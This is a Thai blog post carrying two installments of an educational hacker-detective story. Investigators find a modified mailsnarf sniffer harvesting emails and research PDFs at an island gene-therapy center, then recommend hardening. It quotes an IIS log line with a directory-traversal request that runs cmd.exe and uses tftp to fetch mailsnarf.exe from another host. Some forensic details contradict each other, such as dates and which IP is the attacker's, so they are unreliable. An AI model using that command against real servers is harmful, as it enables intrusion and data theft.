คนคอมพิวเตอร์

Archive for กรกฎาคม 2009

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

นิยายนักสืบตอน : ตัวดูดมะเร็ง [2]

ลาภลอย วานิชอังกูร www.laploy.com

09.00 น. อัลฟาเซคเตอร์ ศูนย์วิจัยซีสา

ชนกพรนำสุนทรและใจทิพย์ลงลิฟต์ไปยังห้องใต้ดิน สุนทรพบว่าพื้นที่ใต้ดินมีขนาดกว้างขวางกว่าที่คาดไว้มาก

“ศูนย์นี้ก็เหมือนภูเขาน้ำแข็ง ที่เห็นบนพื้นดินเป็นเพียงส่วนยอดของมัน อีกเก้าสิบเปอร์เซ็นต์ถูกฝังไว้ใต้ดิน” ชนกพรเฉลย ขณะเดินนำลึกเข้าไปตามทางเดินแคบๆ ครู่หนึ่งก็มาหยุดหน้าประตูที่มีป้ายติดไว้ว่า “อัลฟาเซคเตอร์” หล่อนกดรหัสที่แป้นพิมพ์เล็กๆ ที่ติดอยู่บนขอบประตู ยกบัตรที่ห้อยคอยกขึ้นใกล้เครื่องอ่าน แล้วประตูก็เลื่อนเปิดออก

สุนทรรู้สึกเหมือนเดินเข้าไปในตู้เย็น ห้องนั้นสว่าง ขาว และเย็น อากาศทั่วไปในศูนย์ก็ถูกปรับให้เย็นและแห้งอยู่แล้ว แต่ในห้องนี้ยิ่งเย็นและแห้งขึ้นไปอีก สุนทรรู้สึกจมูกโล่งและสมองแจ่มใสอย่างประหลาด เขามองไปรอบๆ และพบว่าตนกำลังยืนอยู่ด้านหน้าของห้องขนาดใหญ่ ด้านหน้าสุดมีแผงควบคุมที่ทำเป็นโต๊ะทำงานซึ่งมีแป้นพิมพ์และจอภาพ เลยออกไปมีโครงเหล็กเป็นชั้นสูงจากพื้นขึ้นไปเกือบถึงเพดาน ภายในมีคอมพิวเตอร์ซึ่งทำหน้าที่เป็นโหนดของซุปเปอร์คอมพิวเตอร์ตั้งเรียงรายอยู่ ชั้นเหล่านี้มีหลายแถว ทอดแนวไปตลอดความยาวของห้อง สุนทรได้เสียงเสียงหึ่งเบาๆ ห่มคลุมอยู่ในอากาศ สัตว์ยักษ์นี้มีชีวิต และนี่คือเสียงชีพจรของมันที่เต้นหลายพันล้านครั้งต่อวินาที

“ผมอยากจะขอดูไฟล์ที่ว่าหน่อยครับ” สุนทรกล่าวเมื่อนั่งลงที่แผงควบคุมตามคำเชิญ ชนกพรพยักหน้าพลางเลื่อนเมาส์แล้วกดสองสามที

“ตอนแรกดิฉันตรวจพบไฟล์นี้ในโหนด 20 ของเบตา แต่หลังจากนั้นพบว่าทุกโหนดของทุกเซคเตอร์มีไฟล์อย่างเดียวกันนี้ทั้งนั้น” ชนกพรเปิดหน้าจอแสดงรายชื่อไฟล์ที่โฟลเดอร์ c:\ สุนทรพบว่าเวลาปรับปรุงล่าสุด (time stamp) ของไฟล์คือเมื่อไม่กี่นาทีที่ผ่านมา ขณะที่กำลังจ้องมองอยู่หน้าจอก็ปรับข้อมูล ขนาดของไฟล์โตขึ้นทันที

“คุณพระช่วย! มันกำลังโตขึ้นเรื่อยๆ” ใจทิพย์อุทาน

“ผมขอใช้แผงควบคุมนี้เพื่อดำเนินการสืบสวนได้มั๊ยครับ” สุนทรถาม ชนกพรพยักหน้าอย่างเต็มใจ เขาพิมพ์คำสั่งลงบนแป้นพิมพ์อย่างรวดเร็ว

C:\>type memory.dmp | more

ข้อความตัวอักษรทะลักออกมาบนจอทันทีที่กดปุ่ม enter มันหยุดเมื่อแสดงจนเต็มหน้าจอแล้ว

From doctor-somboon@sesa.th Sat Jan 6 23:02:02 2008

From: "Doctor Somboon wattana" <doctor-somboon@sesa.th>

To: <doctor-kaufmann@sesa.ch>

Subject: Gene transplant

Date: Sat, 6 Jan 2008 23:02:02 -0700

Message-ID: <000001c12ddb$7ad3e780$0a01a8c0@cutemup>

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="—-=_NextPart_000_0001_01C12DA0.CE781CC0"

X-Priority: 3 (Normal)

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook, Build X.x

Importance: Normal

X-MimeOLE: Produced By Microsoft MimeOLE VX.x

Content-Type: text/plain;

charset="us-ascii"

Content-Transfer-Encoding: 7bit

Doctor Kaufmann,

The results of the tests for Mr. Bantugan’s pending transplant are

below. Due to the severity of his neuroses and general level of

confusion, I am recommending he undergo surgery within a week.

All of the relevant personal information including contact

information is included. Call me if you have any questions.

— More —

ชนกพรจ้องมองหน้าจออย่างตกตะลึงจนซึมเซา สิ่งที่เก็บอยู่ในไฟล์ memory.dmp ถึงกับเป็นอีเมลโต้ตอบกันระหว่างนายแพทย์ในศูนย์นี้กับนายแพทย์อีกคนหนึ่งในศูนย์วิจัยที่เจนิวา เมื่อสุนทรกดให้หน้าจอเลื่อนต่อไปอีก ชนกพรก็ต้องตกใจมากยิ่งขึ้น เพราะอีเมลบางอีเมลมีไฟล์แนบเป็นข้อมูลทางการแพทย์ของคนไข้ ข้อมูลจากงานวิจัย และข้อมูลอ่อนไหวอื่นๆ

“มีใครหรืออะไรบางอย่างกำลังรวบรวมอีเมลทั้งหมดมาสร้างเป็นไฟล์ชื่อ memory.dum เก็บไว้ในโหนดนี้” ใจทิพย์กล่าวสรุป ชนกพรและสุนทรพยักหน้าพร้อมกันอย่างเห็นด้วย

“ถ้าเป็นเช่นนั้นจริง ในโหนดอื่นๆ ก็คงมีไฟล์ memory.dmp ด้วย แต่คงไม่ได้เก็บอีเมลทุกโหนด เพราะข้อมูลอีเมลคงไม่มากถึงขนาดทำให้ฮาร์ดดิสก์ของทุกโหนดเต็ม ถ้าเช่นนั้นมันข้อมูลคืออะไร?” ใจทิพย์ตั้งคำถาม สุนทรป้อนคำสั่งต่อเชื่อมกับโหนดที่ 21 เมื่อตรวจสอบก็พบดัมพ์ไฟล์จริงดังที่ใจทิพย์คาดไว้จึงใช้คำสั่ง type อีกครั้ง แต่คราวนี้ได้ผลลัพธ์ที่แตกต่างออกไป

“นี่มันอะไรค่ะ ใช่ไบนารีหรือเปล่า” ชนกพรชี้ข้อมูลบนจอซึ่งเป็นตัวอักษรประหลาดทั้งหมด

“ดูเหมือนว่าจะเป็นการรวมกันของไฟล์ฟอร์เมตอะไรสักอย่าง” สุนทรพึมพำขณะเปิดโปรแกรม UlterEdit32 ขณะนี้ข้อมูลถูกแสดงเป็นเลขฐานสิบหกและสายอักขระ

“ดูนี่สิครับ” สุนทรชี้ให้ดูคำว่า PDF ที่บรรทัดหนึ่ง เมื่อเลื่อนหน้าจอไปเรื่อยๆ มีข้อมูลจำนวนมากวิ่งผ่านไป จนถึงจุดหนึ่งมีแต่ตัวอักษร FF ทั้งหมด เมื่อเลื่อนต่อไปอีกอักษร FF ก็หายไป แทนที่ด้วยข้อมูลใหม่อีกครั้ง ใจทิพย์ชี้ให้ดูตัวอักษร อี-โอ-เอฟ ซึ่งหมายถึงจุดสิ้นสุดของแฟ้มข้อมูล

“แสดงว่านี่เป็นการอัดรวมตัวกันของแฟ้ม PDF หลายๆ แฟ้มใช่ไหมค่ะ?” ชนกพรมองออกทันที

“ในศูนย์นี้มีการใช้ PDF ไหมครับ”

“ใช้กันมากค่ะ ข้อมูลงานวิจัยเกือบทั้งหมดถูกจัดเก็บไว้ในรูปแบบนี้”

สุนทรพยักหน้า แต่ไม่ได้พูดอะไร เขากำลังใช้เมาส์ลากคลุมข้อมูลบางส่วน นำมาสร้างเป็นไฟล์ใหม่ แล้วบันทึกไว้โดยใช้ชื่อว่า temp.pdf จากนั้นดับเบิ้ลคลิกที่ไอคอนของไฟล์ โปรแกรมอ่านแฟ้มข้อมูล PDF เปิดขึ้นเองโดยอัตโนมัติทันที

Subject : Somatic cell nuclear transfer

Research No : DS002/162

Date : February 15, 2007

Category : class 3

Team leader : Dr. Sunanta Kanjanlack

ชนกพรมองหน้าจอด้วยความพรั่นพรึง โปรแกรมอ่าน PDF กำลังแสดงใบปะหน้าของแฟ้มข้อมูล มันคือรายงานการวิจัยที่มีขั้นความลับสูงสุด ข้อมูลนี้หากรั่วไหลอาจสร้างความเสียหายให้แก่ซีสาอย่างร้ายแรง

“ไฟล์พวกนี้โตขึ้นอยู่ตลอดเวลา แสดงว่ายังมีงานบางอย่างวิ่งอยู่หลังฉาก กำลังรวบรวมข้อมูลมาบันทึกไว้” ใจทิพย์ตั้งข้อสังเกต สุนทรใช้เวลายี่สิบนาทีต่อมาตรวจสอบโหนดทุกโหนด เมื่อตรวจเสร็จแล้วเขาจึงหันไปพูดกับชนกพร

“ผมพบว่าทุกเครื่องมีไฟล์ memory.dmp ยกเว้นโหนด 0 ผมจะเปิดโปรแกรม Task Manager เพื่อดูโหนด 0 กับโหนด 1 เปรียบเทียบกัน” สุนทรเปิดกรอบหน้าต่างขึ้นบนจอภาพสองจอ ผลการเปรียบเทียบพบว่ารายชื่อโปรแกรมทั้งหมดตรงกัน ยกเว้นโหนด 1 มีโปรแกรมชื่อ datdump.exe เพิ่มขึ้น สุนทรค้นดูในฮาร์ดดิสก์ของโหนด 1 พบว่าไฟล์นี้อยู่ในโฟลเดอร์ c:\inetpub\scripts

“นี่ไง! ไฟล์ที่เป็นตัวการ” ใจทิพย์ร้อง หล่อนและชนกพรใช้เวลาหนึ่งชั่วโมงต่อมาค้นหาไฟล์ datdump.exe ในโหนดแต่ละโหนดของทุกๆ เซคเตอร์ แล้วไล่ลบทิ้งที่ละตัว พร้อมกับลบไฟล์ memory.dmp ด้วย แถบข้อความเตือนสีแดงที่แผงแสดงสถานะเริ่มดับลงทีละจุด จนในที่สุดทุกอย่างก็กลับสู่สภาพปรกติ

“โหนดเหล่านี้ถูกทำให้กลายเป็นตัวรวบรวมข้อมูลสำหรับแฮกเกอร์ไปได้ยังไงค่ะ?” ชนกพรหันไปถามสุนทรซึ่งกำลังทำงานอยู่ในอีกสถานีงานหนึ่ง

“เมื่อพิจารณาจากโทโปโลยีแล้ว ผมพบว่าคลัสเตอร์ทั้งสามอยู่ใน DMZ เดียวกันกับเครื่องแม่ข่ายที่ให้บริการเว็บ (web server) ซึ่งมีโปรโตคอล tftp เปิดอยู่ จึงเป็นเรื่องง่ายที่แฮกเกอร์มืดจะอาศัยช่องโหว่นี้ติดตั้งโปรแกรมลอบดูแพกเก็ต (packet sniffer)และเนื่องจากอีเมลที่ใช้ไม่ได้เข้ารหัส ข่าวสารต่างๆ จึงถูกสกัดไว้โดยง่าย”

“แฮกเกอร์มืดใช้โปรแกรมอะไรในการบันทึกข้อมูลค่ะ?” ใจทิพย์ถาม

“ผมนำไฟล์ datdump.exe มาวิเคราะห์ดูแล้ว พบว่ามันมีรหัสคล้ายโปรแกรม mailsnarf ซึ่งอยู่ในชุดโปรแกรม Dug Song’s Dsniff เป็นเครื่องมือสำหรับทดสอบการรุกล้ำเครือข่าย แฮกเกอร์มืดรายนี้คงนำ mailsnarf มาดัดแปลงเพื่อ เพราะนอกจากจะสามารถดักข้อความในอีเมลได้แล้ว ยังสามารถดักไฟล์ข้อมูลต่างๆ ที่นักวิจัยเปิดอ่านหรือจัดเก็บในศูนย์ข้อมูล (data achieve) ได้อีกด้วย”

“โปรแกรมนี้ถูกแฮกเกอร์นำมาติดตั้งไว้เมื่อไหร่ค่ะ?” ชนกพรถาม คราวนี้สุนทรไม่ตอบ แต่เขาหันไปเปิดไฟล์ memory.dmp ที่ถูกเก็บไว้ก่อนลบ แล้วพิมพ์คำสั่งที่คอมมานด์ไลน์

C:\>type memory.dmp |more

From doctor-somboon@sesa.th Sat Jan 6 23:02:02 2008

“การตรวจสอบช่วงเวลาเริ่มต้นการโจมตีทำได้จากสองแหล่ง ที่แรกคือวันที่ของอีเมลในไฟล์ memory.dmp นี้ซึ่งมี time stamp เก่าที่สุด ดูจากหัวของอีเมลจะเห็นว่าเป็นอีเมลที่ส่งเมื่อสามวันก่อน ต่อไปเราจะดู time stamp ของตัวไฟล์ datdump.exe” สุนทรพูดจบก็หันไปพิมพ์คำสั่ง dir เพื่อแสดงรายชื่อไฟล์

Directory of C:\inetpub\scripts

01/06/2001 06:53p <DIR> .

01/26/2001 06:53p <DIR> ..

01/06/2000 10:06p 102,400 datdump.exe

“จะเห็นว่าข้อมูลสองอย่างนี้ชี้ไปที่คำตอบเดียวกัน แฮกเกอร์มืดเริ่มโจมตีตอนสี่ทุ่มของวันที่หกมกราคมหรือเมื่อสามวันล่วงมาแล้ว”

“เรามีทางที่จะตรวจสอบได้ไหมค่ะว่า แฮกเกอร์เจาะระบบเข้ามาด้วยวิธีการได้ และจากไหน?”

“ได้อย่างแน่นอนถ้าคุณมีปูม (log file) ของแม่ข่ายในวันนั้น” สุนทรตอบ ชนกพรพยักหน้าพลางหันไปป้อนพิมพ์คำทันใดนั้นข้อมูลในปูมของแม่ข่ายเริ่มไหลเรื่อยออกมาบนจอภาพ

“หยุดตรงนั้นค่ะ” ใจทิพย์ร้อง ชี้ไปที่ข้อมูลวันที่หก เวลาตีห้า

#Software: Microsoft Internet Information Services 5.0

#Version: 1.0

#Date: 2001-01-06 05:56:46

#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-st

em cs-uri-query sc-status cs(User-Agent)

2001-08-26 06:06:18 192.168.1.100 – 172.16.10.21 80 GET /scripts/de

po.bat/..\..\..\winnt/system32/cmd.exe /c%20tftp.exe%20-I%20192.168

.1.100%20get%20mailsnarf.exe%20c:\inetpub\scripts\mailsnarf.exe 502

Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0)

“ตาแหลมมากครับใจทิพย์” สุนทรพูดพลางชี้ที่ข้อมูลบนจอ “แฮกเกอร์เข้าตีจุดอ่อนของระบบ มันอาศัยเอเยนเพื่อรันโปรแกรมจากระยะไกล (remote code execution vulnerability) “ เขาชี้ที่บรรทัดหนึ่ง “ตรงนี้บอกให้รู้ว่าแฮกเกอร์มืดมีไอพี 172.16.10.21 มันใช้โปรโตคอล tftp เพื่อคัดลอกโปรแกรมมาใส่ไว้ที่แม่ข่าย” เมื่อสุนทรตรวจสอบแฟ้มปูมต่อไปอีกก็พบว่ามีบันทึกการกลับเข้ามาของ 172.16.10.21 เพื่ออ่านไฟล์ memory.dmp ในโหนดต่างๆ หลายครั้งระหว่างสามวันถัดมา

 

16.00 น. ลานจอดเฮลิคอปเตอร์ ศูนย์วิจัยซีสา

ใจทิพย์ และสุนทรกำลังยืนอยู่ที่ลานจอดเฮลิคอปเตอร์เพื่อเตรียมตัวเดินทางกลับ ลมจากใบพัดช่วยบรรเทาความร้อนจากแสงแดดยามบ่ายและความชื้นจากทะเล หนึ่งชั่วโมงก่อนหน้านี้สุนทรนั่งคุยกับพนักงานระดับบริหารศูนย์คอมพิวเตอร์ เขาแนะนำให้แยกแม่ข่ายเว็บออกจาก DMZ ของซุปเปอร์คอมพิวเตอร์

“มีทางยกระดับความปลอดภัยอื่นๆ อีกไหมครับ?” วิทยา ผู้อำนวยการศูนย์คอมพิวเตอร์ถาม

“มีครับ ผมเข้าใจว่าหน้าเว็บที่เป็นสาธารณะเป็นสเตติกทั้งหมด จึงควรบันทึกและให้อ่านจากแผ่นซีดี” สุนทรอธิบาย “การทำเช่นนั้นจะทำให้แฮกเกอร์เข้ามาสร้างประตูลับในหน้าเว็บไม่ได้ การกำหนดค่าของไฟร์วอล ควรจะเพิ่มความรัดกุมให้มากกว่านี้ โดยตัดโปรโตคอลที่ไม่ได้ใช้ออกให้หมด และตั้งสัญญาณเตือนเมื่อมีการเชื่อมต่อในลักษณะที่ผิดปรกติ”

“เราควรปรับปรุงแม่ข่ายอย่างไรค่ะ?” กาญจนา ผู้จัดการศูนย์ฯ ถาม

“ควรปรับปรุงระบบปฏิบัติการด้วย เซอร์วิสเพ็ค ให้ครบถ้วน ไฟล์บางไฟล์ที่ไม่ได้ใช้ เช่น ftfp.exe และ cmd.exe หากลบทิ้งไปเสียจะทำให้แฮกเกอร์มืดโจมตีได้ยากขึ้น และดูให้แน่ใจว่าเครื่องแม่ข่ายมีเฉพาะเซอร์วิสที่จำเป็นต้องใช้จริงๆ ทำงานอยู่”

“คดีนี้ถือว่าประสบความสำเร็จด้วยดีนะคะ” ใจทิพย์เปรยขณะเครื่องบินปีกหมุนยกตัวขึ้นสู่ท้องฟ้า

“จริงครับ แต่คุณบอกผมหน่อยได้ไหมว่านั่นคืออะไร” สุนทรชี้ออกไปนอกหน้าต่าง ใจทิพย์ชะเง้อตาม อาคารของซีสาที่มีขนาดเล็กลงและเลื่อนห่างออกไป ศูนย์คอมพิวเตอร์เป็นทรงกลมเห็นชัดจากบนอากาศ แล้วใจทิพย์ก็ขนลุกซู่เมื่อมองเห็นสัญลักษณ์บนยอดของวงกลม มันคือตัววีหงายและตัววีคว่ำซ้อนกัน

นิยายนักสืบตอน : แฮกเกอร์มืด ปล้นเหนือเมฆ
นิยายนักสืบตอน : DNS Pinning
นิยายนักสืบตอน : วิชามาร Social Engineering
นิยายนักสืบตอน : Hackarmy-A

 

Advertisements

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

นิยายนักสืบตอน : ตัวดูดมะเร็ง [1]

ลาภลอย วานิชอังกูร www.laploy.com

23:00 น. แผนกคอมพิวเตอร์ ศูนย์วิจัยซีสา

ชนกพรกำลังตรวจสอบโค้ดคำสั่งขณะได้ยินเสียงผิดปรกติ หล่อนเหลียวมองออกไปนอกหน้าต่าง ท้องฟ้ามีดาวให้เห็นเพียงไม่กี่ดวงเพราะเป็นคืนเดือนเพ็ญ เลยหมู่ไม้ออกไปเห็นท้องทะเลดำมืด แสงจันทร์สะท้อนยอดคลื่นระยิบระยับ หล่อนละสายตาจากหน้าต่างกลับมามองสำรวจในห้อง ศูนย์คอมพิวเตอร์ขณะนี้ว่างเปล่า เจ้าหน้าที่ทั้งหมดออกเวรไปแล้ว ห้องโถงค่อนข้างมืด ตามไฟไว้เพียงบางจุด

ชนกพรได้ยินเสียงสัญญาณเตือนที่ดังเป็นจังหวะเบาๆ คืนนี้เป็นเวรของหล่อนที่ต้องเฝ้าศูนย์ฯ หล่อนฆ่าเวลาโดยนำซอร์สโค้ดของเว็บแอพลิเกชันที่กำลังพัฒนาอยู่ มาตรวจสอบเพื่อหาทางเพิ่มประสิทธิภาพ ใจกลางของห้อง มีจอภาพขนาดใหญ่หกจอกำลังแสดงสถานะของระบบคอมพิวเตอร์ ปรกติตัวเลขทั้งหมดจะเป็นสีเขียว แต่บัดนี้มีแถบสีแดงเล็กๆ กระพริบอยู่ หล่อนลุกขึ้นจากโต๊ะทำงานเดินไปดูด้วยความประหลาดใจ

 

Beta Node20 : main storage critical

 

ชนกพรเข้าใจความหมายของข้อความเตือนทันที่ เกิดความผิดปรกติบางอย่างกับฮาร์ดดิสก์ของคอมพิวเตอร์ตัวที่ยี่สิบในโหนดเบตา หล่อนทรุดตัวลงนั่งที่แผงควบคุมหลัก เมื่อป้อนพิมพ์คำสั่งเรียกดูสถานะของไดร์ฟก็พบว่า พื้นที่ว่างกำลังจะหมดลง หล่อนจ้องมองหน้าจออย่างไม่เชื่อสายตา จำได้ว่าตอนตรวจสอบครั้งสุดท้ายเมื่อสี่วันก่อนซีพียู แรม และฮาร์ดดิสก์ถูกใช้ไปเพียงร้อยละห้าของความจุทั้งหมดเท่านั้น โหนดทั้งหมดล้วนมีฮาร์ดดิสก์ขนาดใหญ่ ความจุเหลือเฟือ และมีซอฟต์แวร์ “ปรับความสมดุลของภาระ” (load balance) ที่คอยทำหน้าที่ดูแลไม่ให้โหนดใดทำงานมากหรือน้อยกว่าโหนดอื่นๆ

หญิงสาวอยากรู้ว่าอะไรกินเนื้อที่ในฮาร์ดดิสก์มากเช่นนั้น หล่อนจึงป้อนคำสั่งให้แสดงไฟล์ทั้งหมดที่มีขนาดโตกว่า 1 GB คอมพิวเตอร์ใช้เวลาสแกนเพียงอึดใจก็แสดงรายชื่อไฟล์ออกมา หล่อนเพียงชำเลืองมองก็พบต้นเหตุทันที มีไฟล์ชื่อ memory.dmp ขนาดใหญ่ถึง 30GB ซึ่งผิดปรกติอย่างยิ่ง เพราะไฟล์นี้เป็นไฟล์ที่เก็บข้อมูลจากแรมเมื่อระบบมีปัญหา แต่โหนดต่างๆ ในเบตา มีแรมเพียง 1GB ไฟล์ดัมพ์ข้อมูลจึงไม่น่าจะโตเกิน 1GB สิ่งผิดปรกติอีกอย่างคือ memory.dmp ควรอยู่ในโฟลเดอร์ c:\winnt แต่ไฟล์ที่ตรวจพบนี้กลับอยู่ในโฟลเดอร์รากของฮาร์ดดิสก์

นิ้วมือไวเท่าความคิด ชนกพรคลิกเมาส์เปิดหน้า Startup and Recovery ขึ้นตรวจสอบ แต่แล้วก็ต้องยิ่งประหลาดใจมากขึ้นไปอีก เมื่อพบว่าโหนดนั้นไม่ได้ถูกกำหนดค่าให้บันทึกไฟล์ดัมพ์ข้อมูล เมื่อมองดูวันเวลาของไฟล์ (time stamp) ก็พบว่ามันเพิ่งถูกอัพเดตเมื่อไม่กี่นาทีที่ผ่านมา หล่อนเริ่มรู้สึกกลัว และสงสัยว่า memory.dmp เก็บอะไรไว้ ขณะที่หล่อนกำลังค้นหายูทิลิตีเพื่อเปิดไฟล์ออกดู สัญญาณเตือนที่สองก็ดังขึ้น

แล้วทันใดนั้นศูนย์คอมพิวเตอร์ก็เหมือนยักษ์ที่ถูกปลุกให้พื้นขึ้นจากการหลับใหล สัญญาณเตือนจำนวนมากดังระงมจนแยกไม่ออกว่าอะไรเป็นอะไร ชนกพรมองอย่างตกตะลึงไปที่กลางห้อง แถบข้อมูลที่เคยเป็นสีเขียว บัดนี้กำลังเปลี่ยนเป็นแถบสีแดงทีละตัวๆ จนเกลื่อนไปหมดทั้งแผง และพวกมันกำลังกระพริบอย่างคลุ้มคลั่ง!

 

06.30 น. ท้องฟ้าเหนืออ่าวไทย

ใบพัดของเฮลิคอปเตอร์ควงตัดอากาศเย็นยะเยือกยามรุ่งสาง อากาศยานดูมีขนาดเล็กจิ๋วปราศจากความสำคัญโดยสิ้นเชิง เมื่อเทียบกับฉากหลังซึ่งเป็นท้องฟ้าและผืนน้ำสีเทากว้างใหญ่สุดสายตา ภายในเครื่องบินนักสืบสุนทรกำลังเหม่อมองออกไปนอกหน้าต่าง ทิวทัศน์เบื้องล่างไม่มีอะไรนอกจากผืนน้ำ นานๆ จะเห็นเรือหาปลาลำหนึ่งแต่ก็ลับตาไปอย่างรวดเร็ว ท้องฟ้าเหนือหัวดูไร้สีสัน แต่ทางทิศตะวันออกแสงเงินแสงทองเริ่มจับขอบฟ้า

นักสืบหันกลับมามองภายในห้องผู้โดยสารซึ่งดูว่างเปล่า เฮลิคอปเตอร์เบล รุ่น 412 ถูกออกแบบมาให้บรรทุกผู้โดยสารได้มากถึงสิบห้าคน แต่ขณะนี้มีเพียงเขากับใจทิพย์เท่านั้น ดูเหมือนหล่อนจะไม่รับรู้ว่าเขากำลังจ้องมอง หล่อนนั่งอยู่ริมหน้าต่างของที่นั่งอีกฝากหนึ่ง เรือนร่างบอบบางอยู่ในสูทกางเกงสีกรมท่า ดวงตาโตหลังแว่นกรอบบางกวาดอยู่บนหน้ากระดาษของนิตยสาร ด็อกเตอร์ ดอบส์ เจอนัล ราวกับทิวทัศน์นอกหน้าต่างไม่มีสิ่งใดควรค่าแก่การสนใจ

สุนทรละสายตากลับไปมองดูวิวภายนอกอีกครั้ง บัดนี้ทิวทัศน์เบื้องล่างเปลี่ยนเป็นพื้นดิน แดดอ่อนๆ เริ่มห่มคลุมไปทั่วประเทศ ทำให้เห็นรายละเอียดบนพื้นได้ชัดเจน หลังคาอุโบสถสีส้ม พระออกบิณฑบาต เดินอยู่บนถนนลูกโรยกรวด หมู่บ้าน สนามฟุตบอลที่ร้างคน โรงเรียน อาคารของราชการ ทางหลวง ป่าละเมาะ บางที่ก็มีภูเขาเตี้ยๆ ทั้งหมดเลื่อนผ่านคลองจักษุไปอย่างรวดเร็วดุจความฝัน

ครู่ต่อมาเครื่องบินปีกหมุนเอียงตัวเปลี่ยนทิศทาง สุนทรมองออกไปนอกหน้าต่าง ภาพที่เห็นดูน่าพรั่นพรึง พื้นดินที่ปรกติอยู่ในแนวระนาบ บัดนี้กำลังเทขึ้น เหมือนมีมือยักษ์ที่มองไม่เห็นจับโลกกดจนเอียงกระเท่เร่ เขารู้สึกถึงแรงเฉื่อยที่ดันร่างเข้ากับประตูเครื่องบิน แม้จะรู้ว่านี่คือการบินตามปรกติของเฮลิคอปเตอร์ แต่ภาพที่เห็นบวกกับแรงเหวี่ยงทำให้เขาอดขวัญบินไม่ได้ เขาได้เสียงใจทิพย์สะอึกอากาศ เมื่อหันไปดูก็พบว่าหล่อนหยุดอ่านหนังสือแล้ว มีท่าทางตกใจและมองไปรอบๆ ทันใดนั้นทิวทัศน์เบื้องล่างก็กลายเป็นท้องทะเลอีกครั้ง สุนทรเห็นเรือหาปลากำลังบ่ายหน้ากลับสู่ฝั่ง และเห็นเกาะหลายเกาะอยู่ไกลๆ

ในที่สุดเฮลิคอปเตอร์ก็ลดความเร็วลง มันกำลังบินอยู่เหนือเกาะขนาดเล็ก รูปร่างเหมือนน้ำเต้า บริเวณชายหาดบางตอนเป็นหาดทรายขาวสะอาด บางตอนก็เป็นโขดหิน ด้านทิศตะวันตกของเกาะเป็นหน้าผาสูงชัน บริเวณโดยรอบน้ำตื้นและใสจนเห็นแนวปะการัง สุนทรมองไม่เห็นสิ่งปลูกสร้างใดๆ ยกเว้นใจกลางเกาะ มีกลุ่มอาคารรูปร่างแปลกประหลาด อาคารหลังหนึ่งเป็นทรงโดม เหมือนใครเอาลูกบอลขนาดยักษ์มาฝังไว้ในดิน อาคารอีกหลังหนึ่งรูปร่างเหมือนปิรามิด สูงเท่าตึกสิบชั้น มีโครงสร้างเป็นตาข่ายสีขาว ผนังกรุด้วยกระจกทั้งหมด มันเชื่อมกับอาคารบริวารอีกหลายหลังที่มีรูปทรงแปลกตาพอๆ กัน อาคารหลังหนึ่งดูเหมือนจะมีหอคอยหรือหอดูดาวอยู่บนยอด กลุ่มอาคารเหล่านี้มีสีขาว แต่แสงอาทิตย์ยามเช้าทำให้มันเรืองรองราวกับดาดด้วยทอง

เฮลิคอปเตอร์ลงจอดอย่างนุ่มนวลที่ลาดจอด บริเวณโดยรอบเป็นสนามหญ้าไปจนจรดชายป่า สุนทรพยุงหญิงสาวเพื่อก้าวลงจากเครื่องบินเมื่อนักบินเปิดประตู เรือนผมของหล่อนปลิวไสวตามแรงลมจากใบพัด สุนทรสังเกตว่าถัดไปเป็นลานจอดที่คล้ายกันอีกสี่ลาน ลานที่อยู่ไกลสุดมีเฮลิคอปเตอร์เหมือนลำที่เขาโดยสารมา กำลังติดเครื่องเพื่อเตรียมออกเดินทาง นักบินชี้ไปยังรถที่จอดอยู่ และพูดอะไรบางอย่างแต่ถูกกลบด้วยเสียงเครื่องยนต์และเสียงลม เขาจึงบุ้ยใบ้ให้สุนทรและหญิงสาวเดินไปยังรถคันนั้น

รถเคลื่อนไปโดยปราศจากเสียง นักสืบไม่ได้ยินอะไรเลยนอกจากเสียงคลื่นและเสียงนกนางนวลแว่วมาจากชายทะเล เขาเข้าใจทันที่ว่ามันขับเคลื่อนด้วยอำนาจไฟฟ้า อากาศตอนเช้าไหลผ่านเข้ามาในรถที่เปิดกระจกไว้ทุกบาน มันอุ่นชื้นและมีกลิ่นทะเล เมื่อรถยนต์หยุดลงหน้าอาคารอำนวยการ สุนทรเห็นสุภาพสตรีคนหนึ่งยืนรออยู่

 

07.25 น. ศูนย์วิจัยซีสา เกาะกระดาน

“ศูนย์วิจัยซีสาทำวิจัยเกี่ยวกับอะไรคะ?” ใจทิพย์ถามขึ้นขณะเราเดินไปตามทางเดินที่เชื่อมระหว่างอาคาร

“วิจัยเรื่องการบำบัดทางยีนค่ะ” ชนกพรชี้ไปยังอาคารหลังหนึ่ง “เห็นอาคารนั้นไหมค่ะ นั่นคืออาคารที่พักของผู้ป่วย คนเหล่านี้มาจากทุกมุมโลก ป่วยเป็นมะเร็งระยะสุดท้ายที่หมดทางรักษาแล้ว ที่ศูนย์นี้เราจะนำเซลมะเร็งจากผู้ป่วยเป็นมาวิจัยเพื่อหาวิธีรักษาแบบพิเศษเป็นรายๆ ไป”

“เป็นการรักษาโดยการเปลี่ยนแปลงยีนหรือครับ?” สุนทรถามพลางมองดูตึกที่หันหน้ารับลมทะเล

“ใช่คะ เราพบว่ามะเร็งเหล่านี้ เกิดจากการกระตุ้นที่ไม่ได้มาจากธรรมชาติ คือความผิดปรกติที่เรียกว่าการกลายพันธุ์” ชนกพรตอบ ขณะพาทั้งสามเข้าไปในอาคารปิระมิด

“ถ้าอย่างนั้นศูนย์นี้ก็มีข้อมูลวิจัยที่มีค่าเก็บไว้มากมายเลยสิครับ” สุนทรถาม

“ถูกต้องแล้วค่ะ” ชนกพรพยักหน้า “เรากำลังดำเนินงานวิจัยเกี่ยวกับยีน โครมโซม และโพลีเปปไตด์ จำนวนหลายร้อยโครงการ ข้อมูลงานวิจัยเหล่านี้คือสินทรัพย์อันมีค่าที่สุดของเรา” เมื่อพูดถึงตอนนี้ทั้งสามเดินผ่านห้องทดลอง ภายในมีอุปกรณ์วิทยาศาสตร์จำนวนมาก ห้องทดลองขณะนี้ร้างคน สุนทรเห็นหุ่นยนต์สีเหลืองกำลังทำงานอยู่อย่างเงียบๆ ตามลำพัง ชนกพรนำชมส่วนต่างๆ ของศูนย์วิจัยอยู่ครู่หนึ่ง จากนั้นจึงนำทั้งสองไปยังอาคารรูปโดมที่อยู่หางออกไปทางทิศใต้

 

